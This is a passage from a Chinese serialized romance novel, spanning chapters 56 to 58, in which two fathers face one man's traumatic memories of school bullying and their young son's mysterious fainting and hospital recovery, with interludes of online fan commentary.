虽然他看不清自己的内心,但还是知道郁明殊见他有生理反应就恶心得吐出来是代表强烈排斥。 霍懿安本就混乱的思绪在这一刻几乎打结,他脑中同时运转着几百个问题—— 他为什么会对郁明殊起反应? 为什么完全无法接受薛景灿是郁明殊白月光的可能? 为什么他会觉得郁明殊身上很香,身体很软? 为什么意识到郁明殊因他而干呕不止他会如此“愤怒”? 为什么他这么想靠近一个男人? …… 根据他对生物学的了解,霍懿安以为自己会在青春期迎来性冲动。 虽然不耻于身体受激素支配,萌生所谓的爱情来包装求偶繁育的原始本能,但他还是提前做好准备。 毕竟,这是人类发展至今的基石。 虽然他从不认可父母口中的爱情存在,在他看来那只是存续期更长一些的激素作用,尤其两人还是所谓的一见钟情。 但没有这些激素就不会有现在的他,他选择尊重但不理解。 事实是他从未对任何一个女人产生的繁|殖|欲,如今却在面对郁明殊时产生了。 这极不合理,虽然他们之间无需繁|殖就已经有了一个血脉相连的崽,虽然他也知道这世界上存在同性恋……但作为一个始终将爱情当各种激素共同作用结果的人,他实在觉得两个男人之间产生繁|殖激素很低级也很浪费。 更令他无法理解的是,他不仅对郁明殊产生了强烈的低级繁|殖|欲,还在对方对自己排斥干呕时感到了极为复杂的情绪反馈,一边觉得对方这种低级反应厌恶的很合理。 同时却又生出了一种特殊的“愤怒”,心脏像是被一只无形的手狠狠攥住,令他青筋偾起却也只能不断吸气缓解。 压抑着对空气挥拳的冲动,霍懿安还是在郁明殊干呕到第二声时就快步追到了他的身后。 郁明殊很瘦,即便和崽子相遇后饮食健康稳定了许多。 但此刻穿着真丝睡衣的他,在霍懿安眼中仍旧显得瘦骨嶙峋。 尤其是本就挺直的脊骨,因真丝材质过分贴身,也因郁明殊的弯腰动作而显得格外突出。 霍懿安顺着可怜病态的脊骨线条,视线一路延伸,就看到了恰好露出的那一小片腰线。 在深蓝睡衣的衬托下,郁明殊的皮肤白的发光,而就在这莹润白裸的后腰处,还生了一对小巧的腰窝。 像精心雕琢的玉,刻意在单薄清淡的底色里晕出一抹恰到好处的撩人意味。 霍懿安顿觉喉咙干渴,本就锋利的短剑变得更加势如破竹,但下一瞬,眼前清瘦的肩膀轻颤了颤,郁明殊再次发出痛苦的干呕:“唔呕……” 恍如初醒的霍懿安一拳捶上了躁动的短剑。 虽然疼得他眼冒金星,但目的还是顺利达到,脑中那些不合时宜的邪念被一秒清空。 霍懿安咬牙缓了片刻,才重新站直了身体。 他意识到自己应该做些什么,但思绪转了又转—— 扶人?郁明殊又不是站不稳。 递纸?郁明殊手里捏着一沓。 递水?旁边就有盥洗池…… 霍懿安最后选择静静看着他吐。 而郁明殊呕了半天,眼泪都被呕意催出来了,他却什么都没吐出来,这反倒让他更加难受。 他强撑着身体洗了把脸,一抬眼对上镜中映出的高大男子,脸色黑沉,目光如炬。 郁明殊吓了一跳,后知后觉意识到在他吐的这段时间,霍懿安就这么一直不声不响站在他身后,仿佛浴室里多装了一个双开门……挺怪的,真的。 但任何事放在霍懿安身上,都能自动合理化。 两人的视线在镜中对上,霍懿安眉头微蹙:“你又没吃晚饭?” 从第一时间跟进浴室开始,霍懿安就忘记自己是有系统性洁净强迫症的人了。 不仅全程围观别人呕吐,还相当细致入微观察到对方又在吐水的事实。 郁明殊虽然没吐出来什么,但洗完脸还像是刚刚大哭过,打湿的长睫毛仿佛还残留着泪意,眼圈鼻尖以及软唇都是湿红一片。 镜中湿红的软唇翕动:“没……” 刚说了一个字,郁明殊突然轻咳了两声,脸颊的薄粉更胜两分,看得霍懿安又想自殴了。 但真的太疼了。 不是他畏惧疼痛,而是他的疼痛感知力远超常人。 霍懿安没怎么犹豫就突然转身:“你整理一下再来书房找我。” 郁明殊习以为常地感到意外,并配合答应:“……哦,好。” 郁明殊重新洗漱了一番,积累了足够多的信任,促使他没怎么犹豫就直奔霍懿安那间套房的书房位置。 他这会儿脑中有些混乱,但考虑到霍懿安也从不按章法出牌,他索性放弃思考了。 事实证明他是对的。 因为他刚一走进,坐在厚重宽大足以隔绝一切视线桌案后面的霍懿安,便轻启冷硬平直的唇线:“薛景灿不是你的白月光?” 郁明殊:“……”还来? 之前是因为太久没听到这个名字,这会儿已经吐过一次,还明确自己根本什么都吐不出来,他这次的反应没那么大。 只是在残留的淡淡呕意基础上又有点胸闷,他很清楚自己早该走出来了,但事实却是他好像还被困在少年时期的牢笼里疲惫挣扎。 郁明殊实在不想再听到这个名字,他将逐渐苍白的脸垂下,哑着嗓音快速回道:“当然不是。” 霍懿安虽然觉得郁明殊不论是神态还是语气都有些不对劲,但这个确凿的结论让他那被人紧攥的心脏舒服了不少,紧绷的冰块脸也松弛了20%。 “但你为什么……” 郁明殊抬起仍旧湿红的桃花眼:“没人会喜欢霸凌者。”他实在不想再讨论这个人,索性将话说到底。 没曾想,霍懿安听完却直接站了起来。 郁明殊第一次在蓝眼大金毛的脸上,看到了和蓝眼小金毛相近的神色——唇角上扬,眼冒金光。 但这样的表情只停留了一瞬,随着男人抽风般站起又抽风般坐下,霍懿安语气神态又恢复了冷肃凝重:“仔细说一下!” 可就是这样的霍懿安,却让郁明殊瞬间生出了更多的安全感。 郁明殊静默了一会儿,还是在几次深呼吸后将事情简明扼要讲了出来。 真相和霍懿安看到的版本“基本吻合”,除了关于薛景灿的部分,薛景灿才是真正的始作俑者。 因为一直没有当事人站出来,所以张秘书调查到的版本在时间线上并不准确。 郁明殊的确和薛景灿建立过良好的朋友关系,但令他多年后仍旧作呕不止的记忆牢笼,的确是从薛景灿转学前就开始了,而且针对郁明殊的霸凌就是薛景灿带的头。 薛景灿表露出的友善让郁明殊误将其认作知心好友,也让郁明殊误以为他一定程度上,融入了薛景灿在学校形成的交友圈子。 所以在发现薛景灿的狗腿子追求转校生不成就开始霸凌她后,郁明殊阻止过几次。 一开始那些人还会因他的阻拦放过女生,但这只是暂时缓解,那些人很快还会再找机会折磨露娜,不论郁明殊如何劝说。 郁明殊意识到他和那些人之间连普通朋友都算不上,他们只是看在薛景灿的面子上和他维持着基本社交罢了。 而某一次阻止时刚好薛景灿也在他身边,几个男男女女将女生推到他怀里,还笑着问他是不是看上露娜了? 郁明殊否认了,之后又向薛景灿说情,薛景灿笑着听他说完,突然将手里的最新款水果机砸到他头上。 手机碎裂,血流如注,也是那次他才知道,自己有比较麻烦的凝血问题。 他差点死掉,最后却被养父母逼着向薛景灿下跪道歉,而这还只是一个开始。 也是从那之后他才逐渐了解到,薛景灿其实是个从小就爱钻研刑讯手段的变态,那些人花样百出的霸凌技巧都源自于他。 比如持续的感官刺激,强光直射眼部、噪音轰炸、低温折磨,再比如反复制造窒息与恐惧,被湿毛巾捂脸,被塑料袋套头…… 薛景灿有一千种手段可以将人逼死逼疯却不留丁点痕迹,他没有真正的伤害郁明殊,却让他的心脏血肉模糊、疤痕斑驳。 薛景灿一直逼郁明殊直面他的凌虐游戏。 有时候是对人,有时候是虐杀动物,那些画面因太过痛苦早已变得模糊不清,但只要一提起薛景灿,当年直面惨叫、血腥留下的精神烙印就会让他本能般反胃,状态不好时还会惊惧颤抖。 也正因为直面了薛景灿的恐怖,在薛德茂出现时他差点将其当成了救世主,可事实却是…… 郁明殊以为他做好了准备,但只简略说了一小半,就难以顺畅呼吸,整个人摇摇欲坠,霍懿安顾不上桌案对短剑的有力保护,快步绕过一把将人拥入怀中。 肌肉在非充血状态下的触感大多是弹软的,霍懿安的体温又偏高一些,客观来说男人的怀抱温暖又舒适。 郁明殊虽然身体反应较大,但他精神状态现在已经没那么糟糕了,尤其是第一时间感受到霍懿安身上透出强有力的温暖和安全感后,郁明殊反复明确了他早已不是当年任人欺凌磋磨,到头来却还要给霸凌者道歉求饶的可怜鬼…… 他抖着唇对霍懿安露出了一个安抚笑容,可笑着笑着他又想哭了。 男人温热的大掌适时覆上,盖住了他笑得像在哭一样的双眸,并将他按进了温暖可靠的胸膛。 郁明殊愣了一瞬,紧接着便如溺水之人抓取浮木一般,先是紧紧将人回抱住,又将脸深埋入男人的胸膛,大力呼吸着汲取着男人身上珍贵温暖的气息。 郁明殊那双细瘦手臂出乎意料的力气很大,甚至勒得霍懿安难以喘息,越发疯狂的剧烈心跳狠砸向胸腔,这本该是一场难以言喻的折磨,但却又让他说不出的兴奋愉悦。 除了要担心过度的心跳震到郁明殊,他又该如何解释…… 不过他很快就不担心这一点了,因为他感到他那跃跃欲试的短剑即将捅出更大的篓子! 避免再因低级生理反应恶心到郁明殊,霍懿安强行中断了这场拥抱,并努力压下唇角给出冷静建议:“你这种情况必须去看心理医生了。” 被男人炙热胸膛捂得双颊飞粉的郁明殊,按下心跳缓缓打出一个问号:“……?” * 郁明殊一脸懵逼被男人推开,又一脸懵逼被男人带回了房间。 霍懿安原本只是怕对方无法独立行走,将人送回并帮他开个房门就走,结果郁明殊倒是恢复得很快,却没想到一拉开房门掉出了只“睡着”的幼崽。 两人相当意外,他们完全没发现小家伙什么时候跑到门口,还贴着门板就这么睡着了。 郁明殊抱起崽子呼唤了几声,他很快意识到崽子不是睡着而是昏迷。 两人第一时间将孩子送进了医院。 郁明殊被吓得脸色惨白头脑晕眩,却仍旧强打起精神,第一时间翻出儿童监控的历史记录。 这才发现崽子在他下床离开时就睁眼了,一开始只是支楞起小脑袋,在床上坐了一会儿还是耐不住好奇心,抓着被角悄无声息地荡到了床边的地毯上。 小家伙猫猫祟祟走到门口,之后的画面里崽子一直趴在门板上偷听,一分钟三百个灵动小表情都被高清镜头清晰记录了下来。 郁明殊看得眼眶泛泪,他实在不知道为什么这时候还如此活泼可爱的崽子会突然晕倒。 两人的视线都牢牢凝在屏幕上,他们将声音调到最大,不敢放过一丝一毫细节,随着画面一帧一帧播放,没多久伴随着一声不算明显的干呕,崽子的眼睛陡然睁大,粉雕玉琢的小脸上流露出从未有过的惊恐。 紧接着便是双眼翻白,小身体倚着门板软软下滑。 郁明殊捂住口鼻,抖着声音问道:“嘟嘟…嘟嘟是被我吓到了吗?” 现有的信息不足以供霍懿安给出合理判断,但他还是第一时间看向郁明殊坚定说道:“不是。” 霍懿安虽然有效缓解了他的强烈自责,但郁明殊依旧心如刀绞,因为两人都看出崽子晕倒前一刻的表现实在太过异常,这实在不是一个好消息。 两人很快将信息告诉了医生,但医生也只是说从没遇见过这种情况。 常规的抢救和评估流程并没有让崽子恢复意识,甚至排查一整圈后医生都找不出崽子突然惊惧昏厥的病因。 “……目前只能先观察一下。” 话音未落,郁明殊强撑了多时的身体再次摇摇欲坠,霍懿安将人紧紧拥住:“一定会没事。” 低沉沙哑的声线中,带着他都不曾察觉的轻颤。 作者有话要说: 霍总不懂,但霍总难过。 姨姨们不要担心,嘟嘟就是睡一觉啦~[求你了][求你了][求你了] 第57章 在郁明殊和霍懿安守着昏迷不醒的崽子彻夜无眠之际,萌礼复刻版牛奶广告的相关资讯,已经第一时间被放了出来。 虽然最初萌礼牛奶是被霍懿安赶鸭子上架,但现在也的确想蹭一下网友考古郁明殊童年唯一广告作品浪潮的热度。 是以广告一拍完,萌礼乳业很快就将初剪版片段和一些拍摄花絮放上网,里面就有爸崽刚到现场时拍的花絮。 一开始用远镜头从爸崽背影开拍,虽然并没暴露崽子的长相,但身着郁明殊十五年前同类型服装的三头身幼崽的小背影已经足够引人注目。 更别说小家伙没正式露过脸,就已经凭借奶萌软糯的声音、性格在网上收获了一大堆妈粉。 并且在迷倒一众姨姨叔叔不久,郁明殊就停止了直播,妈粉大军已经很久很久没吸到新鲜的小奶崽啦! 所以崽子的小背影刚冒出来,弹幕就有无数狂热妈粉现身,各种猫塑狗塑的夸张言论,让仅露出背影的崽子热度一度超过他的明日之星“拔拔”。 尤其是当导演既惊喜又惋惜地看向崽子,说出那句:“真不能让孩子跟你一起拍吗?这孩子可太漂亮了!!” 弹幕妈粉疯狂了—— 【我的老天鹅!既然让我拥有这个孩子,为什么不让我看我孩子的漂亮脸蛋!!!】 【前面的冷静点,孩子不是你的你当然看不到[狗头]】 【我就知道我家嘟嘟宝贝超好看!之前看路人反应就知道了!】 【呜呜呜郁明殊真的不能让嘟嘟露脸吗?嘟嘟又没有签霸王合同(bushi)】 【还是赞同郁明殊这个决定的,现在星二代除了要进圈的,几乎都不怎么露脸了,这样肯定更安全,而且之前还听说某露脸星二代被同学霸凌呢。】 【唉,理儿是这么个理儿,但还是想偷看一眼,郁明殊能不能私发我一下?我用我全家性命保证绝不外传!】 【哈哈哈哈哈俺也要@郁明殊[害羞][害羞]求私,最好是爸崽合照,不然崽崽单独的也行[对手指]~】 当然,网友们对崽的好强烈好奇心随着镜头推进,最后稳定在一众大人上半身并聚焦郁明殊的精致面孔后就大幅转变—— 【卧槽!郁明殊能露脸了?好他爹的帅啊!但他不是被皇世卡合同来着吗!!】 【我天郁明殊咋帅成这样了???他照镜子是不是看不到自己啊(神本无相?!】 【内娱唯一真神(颜)[大拇指]】 【艺考的时候就感觉他已经到顶了,没想到过了两三年还能更帅,女娲毕设就是不一样!】 【笑死,前面村通网了,皇世的两兄弟已经都被刑拘了,以后团建内容只能选踩缝纫机的货,还拿啥卡我们殊殊?】 【之前还有酸鸡说郁明殊艺考是提前十个小时画皮才搞出的精致裸妆,本人没那么精致,结果嘞?我们殊宝就是这么漂亮到爆炸!】 【郁明殊的脸确实能打,但你能保证他现在脸上就没有裸妆吗?镜头吃妆得很,仔细看他睫毛比旁边全妆女助理还浓密,这合理吗?】 【别说还真是,但就算有裸妆也可以了,现在哪个男明星不化妆?这脸型这头肩比就是天选大明星~】 【你们不觉得郁明殊眉眼长得特别绝吗?我每次看他都会忍不住盯着他的眼睛看,不仅好看还特别吸人!】 【hhh现在的年轻人可能不知道,他小时候拍萌礼广告的时候红遍全国,当时就有很多人说这孩子太灵了,眼睛会说话,萌礼牛奶能一炮而红,郁明殊绝对有大功劳!】 【只有我好奇郁明殊用的啥粉底吗?也太清透自然了,能不能把裸妆用品清单分享一下,球球惹!!![跪]】 …… 关于郁明殊“裸妆”的讨论还在继续,正在播放的花絮中,导演在反复确认孩子真不能入镜拍摄后,只好含泪将话题转移到“新噱头:素颜拍摄”上。 随着郁明殊爽快答应,以及后续拍摄准备就只有做发型,并且还是将高清镜头怼在郁明殊脸上。 不仅明确了郁明殊没有一丝妆感的纯素颜,还是天生的犹如奶油般细腻白皙的皮肤质地。 当晚#郁明殊素颜复刻萌礼广告#就凭借自然热度冲上了热搜,配图就是怼脸九连拍。 哪怕之前没去关注复刻广告拍摄的人,随便打开一看都会被惊到,对郁明殊神颜的感叹如雨后春笋般生出。 当然,最为震惊到哑口无言的,自然是那些真以为郁明殊是靠高超的裸妆技术修饰过的人。 素颜广告尚未开播,放出的花絮就直接将艺考走红时留下的虚假谣传破除了。 之前就有不少人怀疑郁明殊当年压根不是靠什么公司营销,皇世娱乐那个鬼样子会为郁明殊费心费力? 现在一看,郁明殊根本不需要什么打光妆造专业拍摄团队。 【素颜长成这样,拿可视挖耳勺拍都特么能红!】 【真把我帅死死的了,太好看了,难怪薛老登唯独对郁明殊那么执着耐心!】 【大好的日子别提那晦气的老鬼登ok?】 【话说你们刷没刷到昨儿凌晨有个帖子,标题就是《xdm对yms有耐心是因他长得像白月光》我刚反应过来xdm是薛老登大名,帖子就没了,也搜不到相关的内容,可把我好奇毁了!】 【卧槽,真的假的啊??】 【也不是没可能,但管他像不像都很晦气!沾上这老鬼登就是郁明殊这辈子最倒霉的事!!好在老东西死的干脆利落!!!】 【点了,老登这辈子唯一做对的就是死的及时,没继续拖着恶心人。 【真的,老登一死普天同庆,包括薛家集团都很高兴,我有个前同事跳槽去了薛家的总公司,最近看他发朋友圈说小薛董一上位就先给全体员工发福利,他们别提多高兴了!】 【别说普通员工了,薛家人应该也很开心,尤其是被他恶心走的儿子和孙子。】 【股东也开心,之前薛家股价都被薛德茂嚯嚯成啥样了?真·普天同庆,哈哈!】 就着这个话题,吃瓜群众很快又讨论起刚刚低调回国的小薛董。 这位小薛董很是低调,外网社交平台上分享的内容都极具精英感,但就是很少发,一年也就三四条。 而且从不发个人照,大家只知道他有一只名叫露露的爱犬,其他一概无从获知。 好在这位小薛董社交面极广,作为校园风云人物又经常参加各种活动,网上的他拍照不少,一看就是顶级亚裔精英家庭培养出的优秀继承人。 五官不是郁明殊这种精致类型,但组合起来十分协调舒服,可以窥见再过几年完全长开后,脸部线条会更加锋利有型。 据估计身高至少一米八,身上没什么天之骄子高高在上的压人感,反倒有着不符合年纪的沉稳儒雅。 二十出头就继承偌大家业,各方面的阻力都可想而知,换做别人一定会艰辛无比,甚至可能会被老股东们算计侵吞。 但薛家情况实在太过特殊,前任掌权人的死亡堪称普天同庆,再加上薛景灿父子多年来一直站在薛德茂对立面,几乎是完全不相往来的程度。 而薛景灿此前的履历又的确足够优秀,最多是缺乏了一些实战经验。 不过薛德茂之死已经为他的空降铺垫了足够的天时地利人和,大家都对他这个歹竹里产出的好笋抱有极大期待,从薛家的股价涨幅就能看得出来。 更重要的是,网友们太吃这种年轻帅气的六边形霸总了。 薛景灿低调回国走马上任的消息一出,一度爆火的“郁明殊绯闻男友”欧洋一下就沦为明日黄花。 近期围绕着薛家的流星雨瓜吃都吃不完,吃瓜群众都有些忘记欧洋了,但好巧不巧他适时发了条新微博:【[捂脸]这怎么比啊……完全没得比[心碎][心碎][心碎]】 欧洋此前就挺有网感的,也一直在经营自己的社交平台,算是一众严肃企业家里少有的带点网红性质的CEO了。 因着他本就从事与网络密切相关的新兴产业,这份网络热度对他一向是有不俗的正向加成的。 是以微博一出,大家就都以为欧洋是来顺便蹭一波热度的,但因这份自谦将尺度把握得极佳,不仅不惹人反感,反倒让人觉得这位欧总挺讨喜的。 评论区纷纷感叹: 【不愧是科技公司的CEO,网速就是快!】 【这里愿意回收雄竞失败的心碎霸总。[害羞][害羞]】 【没关系啦~又不是没人家优秀就找不到老婆~你只是在网上小输一下下啦~欧总还是很帅很优秀滴~】 没曾想欧洋还真上线回复了这一条:【[大哭][大哭][大哭]朋友你好暖,但……还真就是大输特输没希望了!】 网友们都以为欧洋是被薛景灿比崩溃了,纷纷跳出来安慰他。 实际上他完全没关注过这位霸总圈的新红人,还纳闷网友们又不知道他发生了什么,怎么一个个都安慰得如此具体? 欧洋是真喜欢郁明殊,不然也不会将当年的广告挂历保存得那么好。 从迎难而上接棒张总开始,他也不全是为了把握这份充满挑战的机遇,还存了想借此良机追求郁明殊的心思,奈何张秘书作为中间人一直防他防得很紧。 虽然全网都将他当成郁明殊的绯闻男友,但实际上欧洋想以粉丝身份和郁明殊私下见一面都被驳回了。 但他也没放弃,毕竟在他看来,郁明殊只是找回了有钱亲戚为他保驾护航。 张秘书的严防死守也是因为郁明殊太年轻了,而且还准备重新出道,婚恋问题完全可以再等十年,等思想成熟事业稳定后再做考虑。 欧洋便打算徐徐图之,自己的事业相较于霍家,哪怕是旁支都没得比,所以他更要加倍努力,让自己尽可能配得上郁明殊。 打拼事业之余,他也不会忽略对郁明殊的追求大计,而这则大计的第一步就是慢慢软化张秘书这位中间人。 没曾想,他的千里之行刚迈出一步,心态就崩了…… 事情还要退回到一个小时前。 欧洋很喜欢孩子,但因性向问题注定不会有自己的孩子,所以一直对唯一的小侄女很上心。 听说孩子因流感住院,手上工作一结束就打飞机回来了,早上七点多人就已经赶到了医院。 没曾想,小侄女没看到,他先遇见了张秘书。 张秘书自然不会直接告诉他西奥多住院了,而且欧洋虽然推测过郁明殊身边24h带着的崽子大概率就是霍家嫡系崽,真正的超级富家崽,但他其实连孩子大名叫什么都不知道。 因着相遇地点就在儿科病房附近,张秘书便随口说是自家大外甥闹了点小毛病。 欧洋信以为真,并认为自己的机会来了! 匆匆看了眼还没起床的小侄女,拿着嫂子刚买来的花束和他自己拎来的果篮开始在VIP专区逛了起来。 他穿着不俗,又长得风度翩翩,拎着水果鲜花明显是探病来的,哪怕是VIP专区也没人拦他。 但想要找到“张帅亲戚”,还是需要他厚脸皮挨个敲门问询的。 不过他运气很好,没找一会儿就撞上了霍懿安的“医闹现场”。 当然,霍懿安不可能真的医闹,他只是一如既往黑着脸冷着眼,一双格外冷肃摄人的冰蓝眸子盯着主治医生,一字一顿地严声质问:“什么叫你也不知道怎么办?” 他身材本就过分高大,还练了一身紧实线条,整个人虽然没到双开门冰箱的程度,但还是把一米七的地中海主治医生碾压成了小学生。 更别说他还天生不通人情,自带一股极强威慑力,这会更是因崽子的异常情况又急又怒。 医生被他逼得冷汗直流:“孩子的确没查出什么问题……” “他已经昏迷十个小时了!你却跟我说查不出问题?”一夜未眠,霍懿安眼底多了些许红血丝,眼睛一瞪就更恐怖了。 跟要吃人似的,吓得主治医生肩膀一缩。 好在一旁的郁明殊及时开口,哑着嗓子劝道:“你冷静一下,医生肯定也希望嘟嘟早点醒来……” 他虽然还能开口劝说,但实际上郁明殊此刻的状态与此前拍广告时大相径庭,像是三魂七魄被抽走了一半,脸色惨白,双眼无神。 而且急火攻心,刚一夜的时间过去,他的嗓子已经哑得有些听不清了。 欧洋原本只是出于好奇看上一眼,没想到高大冷酷的金发男子身侧还藏了个郁明殊。 他一下就精神了! 思绪一转很快想清楚是怎么一回事,张秘书借口小外甥住院,实则是整日跟在郁明殊身边的超级富家崽出事了。 这简直是天赐良机!! 没曾想,欧洋刚要振奋上前,病房里就冲出了一位护士:“孩子醒了!” 郁明殊几乎要喜极而泣,顾不上身侧的霍懿安,第一时间跑进了病房。 霍懿安和主治医生以及其他医护人员也都陆续进入,欧洋也就顺势跟了进去。 一进去就听到一声撕心裂肺的奶音呜咽,浸满锥心刺骨的悲恸:“拔拔爹地——!” 作者有话要说: 西嘟嘟冷傲退基佬[菜狗] 第58章 西奥多做了一个好长好长的噩梦。 他梦见爸爸爹地都不见了,甚至连奶奶和吴婆婆也不见了,他被关在一个黑乎乎的房间里,不论他怎么叫,怎么用尽全力捶打漆黑门板,永远都没有人回应他。 他哭到眼泪流尽,哭到浑身抽搐,就在他以为他再也见不到爸爸爹地时,他终于从噩梦中挣扎醒来。 结果一睁眼也没有爸爸爹地,他以为自己这回是被关进了另一间白色房间,小家伙害怕极了,惊恐悲恸的泪水汩汩冒出。 崽子一边无声喷泪,一边绝望地打量周遭的一切,然后他发现了一个陌生姨姨! 陌生姨姨趴在门上,如同他那天偷听爸爸爹地谈话一样,认真仔细地听着外面的声音。 而陌生姨姨虽然同样一身白,但这身衣着他是认识的——是护士姨姨! 这里不是和黑房子相对的白房子!而是医院! 铺天盖地的极致恐惧绝望像是被突然撕开了一道裂口,瞬间涌入大量的新鲜空气,让小家伙终于得以喘息。 西奥多攥紧小拳头,鼓起勇气叫道:“姨姨……” 恐惧没有消失,而是转移到正在全神贯注吃瓜的护士身上。 年轻女人先是被身后猝不及防冒出的沙哑声音吓得原地跳起来,迅速甩头发现昏迷不醒的小患者竟然醒了过来,护士眼里的惊恐未退,嘴角就已经咧到耳根了。 “……啊?醒了!”她愣了一瞬,紧接着顾不上查看崽子的情况,立即扯开房门冲了出去。 护士的反应太过夸张,完全诠释了什么叫一惊一乍,然而这份慌乱失态反倒让崽子的注意力转移了些许,极度紧绷的情绪也得到了一定代偿。 稍一放松,崽子的感官也迅速恢复,闻着房间里令人安心的消毒水味道,他很快意识到自己不是被关,而是来到了医院,至于恐怖的黑房子只是他做的噩梦罢了。 区区臭梦,不足为惧! 崽子一下就从病床坐起身,小胸脯挺得高高的,一看就是浑身充满勇气的世界最棒崽。 崽子试图以最佳状态迎接爸爸爹地,但听到爸爸人未至声先到的熟悉呼唤:“嘟嘟!” 上一瞬还坚韧不拔的勇气崽崽瞬间泪崩,一开口就是撕心裂肺的锥心哀嚎:“拔拔爹地——!” 崽子不知压抑了多久的惊惧悲恸,如排山倒海般倾泻而出,爸崽抱头痛哭,不论大的还是小的都哭得伤心欲绝。 原本孩子醒了,医护人员都挺高兴的,尤其是主治医生,他终于不用担惊受怕了。 但爸崽的哭声太有感染力了,即便对他们并不熟悉,还是被一大一小哭得鼻酸,霍懿安不露痕迹深吸了一口气,才转向后方保镖。 一个眼神,两个大块头保镖就立即做起了疏散工作,先将围观的医护人员都请了出去。 至于打算探病的欧洋,刚听到崽子那声惊天动地的“拔拔爹地”,就被保镖抓着衣领提了出去。 欧洋虽未能窥得全貌,但稍微动动脑子也能猜个大概。 但最初他根本顾不上失望伤心,呆滞了片刻就对上了拳头比沙包还大的外籍保镖。 最后他只好解释自己是张秘书的朋友,误以为张秘书亲人生病前来探病,等保镖致电确认后,又被张秘书亲自接走敲打了一番。 而在欧洋的心碎时刻,病房里的一家三口也在持续心碎着。 霍懿安乍一看和平时没什么两样,但仔细看还是能发现他眼底不仅有红血丝,还有一抹淡淡的潮意。 而爸崽二人是真的哭惨了,他们差点都以为自己要失去对方了。 霍懿安一开始只是默默守候,但很快就逐渐眼热起来,他那生出二心的心脏,总是隐晦地驱他上前将紧拥在一处的一大一小拥入怀中。 但他没有这么做,一方面是他现在一靠近郁明殊,就能闻到那人身上若有似无的淡香,无需碰触就会生出一些不合时宜的…… 另一方面则是出于对医学常识有所了解,大喜大悲都属于强烈的情绪应激反应,会对多器官、系统造成负面影响,就像他母亲那种本就有基础病的患者,尤其需要规避这种情况。 而眼前的爸崽二人,小的因未知病因昏厥了十个小时,大的因小的昏厥差点被负|面情绪冲垮,实在不适合放任两人如此剧烈地痛哭下去。 霍懿安走到跟前,面无表情冷静制止:“嘟嘟已经醒了……” 他本打算先用崽子已醒的乐观现实铺垫一下,再提醒郁明殊这孩子身上的未明病因还需要继续检查。 结果刚开了个头,崽子就唰的抬起溢满泪水的红肿桃花眼,对着他委屈地呜哇了一嗓子:“爹地!!!” 霍懿安的稳定运转忽地失控了一瞬,男人俯下身将一大一小紧紧抱在怀中。 陌生的恐惧悲伤早已漫布他身体的每一个细胞,而他却后知后觉,霍懿安缓缓闭眼……他差点失去他们的孩子。 这一刻时间仿佛凝滞,男人用宽厚有力的臂膀紧拥着爸崽,仿佛全世界就只有他们一家三口。 霍懿安静默良久,才哑着嗓子轻轻又重重地承诺:“……别怕,爹地不会让嘟嘟有事的。” 郁明殊仰起头,顶着一脸悲伤泪痕,却绽出了一个从未有过的美好笑容。 像是一束骤然破开乌云的阳光,璀璨得让人移不开眼,霍懿安甚至生出世界都被对方点亮的错觉……看得他格外心痒难耐。 不同于以往直白龌龊的繁殖欲,这次他只想吻上去,而他也是这样做的,“二心”接管大脑,霍懿安犹如被人勾魂摄魄般,痴痴地俯了下去。 也许是太过意外也太过突然,郁明殊并没有闪躲,他只是将泪汪汪的红肿桃花眼微微睁大。 然而在两人呼吸交缠,即将唇齿交缠之际,一声奶音惊叫突然从两人的怀抱中响起—— 夹心崽崽顾不上悲伤,瞬间横起刀子眼大叫道:“嘴嘴脏脏,不阔以亲亲嘟!” 话刚出口,一双白嫩小胖手就精准挤进两唇之间,手动隔开。 而被崽一打断,两人一直在身后追的脑子也终于回到了两人的脑壳中,郁明殊脸色一红,霍懿安脸色一黑,视线碰触一瞬又迅速分开。 郁明殊一脸尬笑握住小家伙的手,霍懿安则站直身体对着窗外干咳了两声,就准备按向床头的呼叫铃,让医生过来给崽检查身体。 郁明殊正准备翻开崽子的小手,顺便查看下昨天摔破的伤口,结果小家伙打断亲亲还不算完,板着一张小胖脸唰的抽回了手,他直接从病床上站了起来,双手叉腰气势汹汹—— “拔拔爹地几么可以亲亲!?” 崽子双眼微眯,严肃奶凶的小目光快速扫过准备当无事发生的俩爹,继续认真强调:“嘴巴脏脏有菌菌和病病体!” 说到这里,如炬的小目光唰的射向霍懿安:“爹地忘鸟?!” 霍懿安仍旧面无表情,却在呼叫铃接通的瞬间话风一转,改为冷声警告:“先不要让人过来。” 呼叫铃对面的医护人员:……啊? 崽子的反向教育还在继续,他愤怒地跺了跺小胖脚:“明明系爹地说嘟!亲嘴嘴会生病!!只阔以亲碾碾!!!” 他这个小崽崽一直在认真遵守,爹地这个最先提出的人怎么能明知故犯?! 虽然有很大原因是因为他是全世界最棒的乖崽,但爹地可不是全世界最棒的好爹,他们父崽之间本就存在着巨大差距,但这不是爹地乱来的理由,万一宝贝爸爸被爹地亲生病了怎么办?!! 如果不会生病的话,又凭什么只有爹地能亲?!!! 此刻,崽子的小脑花转得飞快,一路火花带闪电。 面对言之凿凿目光灼灼的较真崽子,霍懿安人生第一次感到了什么叫哑口无言。 虽然他可以用脑中的医学知识给出明确解释,婴幼儿免疫系统尚未发育成熟,抵抗力弱容易因为亲嘴生病,大人之间却不会。 但他可以解释其中原理,却解释不了自己的行为,最终,静默片刻的霍懿安低下了高傲的头颅:“……你说的对,我做错了。” 原本一会儿叉腰一会儿抱臂,还穿插着跺脚哼气的崽子,一下就舒服了。 小下巴扬得高高的,不过即便他站在病床上,即便他将下巴仰到最高点,面对巨人般的亲爹,最多也只能做到“低低在上”。 小家伙略显骄矜地点点头,模仿着爹地教育他的口吻,一本正经道:“嘟嘟对里很失望,下气不要介样了。” 霍懿安:“………………嗯。” 郁明殊见多了父崽对峙,崽子育爹还是第一次见。 每一帧都生动至极可爱又可乐,郁明殊努力不打扰父崽俩,但憋到这会儿实在憋不住了,噗的一下笑出了声。 霍懿安虽然人机不通世俗人情,但他在客观层面很讲道理,丁是丁卯是卯,既不会因对方只是个孩子而强撑嘴硬,也不会故意当没发生直接回避,更不会觉得有失颜面。 所以即便此刻心绪难平,却和崽子对他的教育全然无关,也仍旧能表现得冷静自持八风不动。 直到目光追随着郁明殊的笑声,对上了那双多情勾魂的璀璨明眸,霍懿安本就涌动不止的内心再次掀起巨浪。 明明隔着一段距离,他也尚未闻到香气,霍懿安就再次感觉自己的身体又要“不合时宜”了。 第一反应紧握双拳,但在出手前,他先一步想起上一次堪比截肢的巨大痛楚。 霍懿安选择了更为无痛的方案——“我去叫医生。” 男人话刚出口,人已经甩动长腿冲出了病房。 